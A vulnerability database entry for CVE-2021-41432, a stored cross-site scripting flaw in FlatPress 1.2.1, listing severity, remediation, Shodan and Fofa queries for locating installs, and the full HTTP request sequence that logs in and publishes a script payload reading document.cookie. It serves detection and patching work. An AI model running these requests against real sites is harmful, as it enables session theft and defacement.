🔙 목록으로 돌아가기

CVE-2021-41432: FlatPress 1.2.1 - Stored Cross-Site Scripting

TitleFlatPress 1.2.1 - Stored Cross-Site Scripting
Authorarafatansari
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to potential data theft, session hijacking, or defacement of the website.
RemediationUpgrade to the latest version of FlatPress (1.2.2) or apply the provided patch to fix the XSS vulnerability.
CVSS Score5.4
EPSS Score0.05677
CVE IDCVE-2021-41432
CWE IDCWE-79
Shodan Queryhttp.html:"Flatpress"http.html:"flatpress"http.favicon.hash:-1189292869
Fofa Querybody="flatpress"icon_hash=-1189292869
Tags cve2021 cve flatpress xss authenticated oss intrusive vuln

🔍 Vulnerability Description

FlatPress 1.2.1 contains a stored cross-site scripting vulnerability that allows for arbitrary execution of JavaScript commands through blog content. An attacker can possibly steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

POST /login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 336
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp
Accept-Encoding: gzip

------WebKitFormBoundarykGJmx9vKsePrMkVp

Content-Disposition: form-data; name="user"



GVBidQ

------WebKitFormBoundarykGJmx9vKsePrMkVp

Content-Disposition: form-data; name="pass"



8UIxdS

------WebKitFormBoundarykGJmx9vKsePrMkVp

Content-Disposition: form-data; name="submit"



Login

------WebKitFormBoundarykGJmx9vKsePrMkVp--
GET /admin.php?p=entry&action=write HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /admin.php?p=entry&action=write HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15
Connection: close
Content-Length: 211
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

_wpnonce=ibabZE&_wp_http_referer=%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=abcd&timestamp=&entry=&attachselect=--&imageselect=--&content=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&save=Publish
GET /index.php/2022/10 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41432.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-41432.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A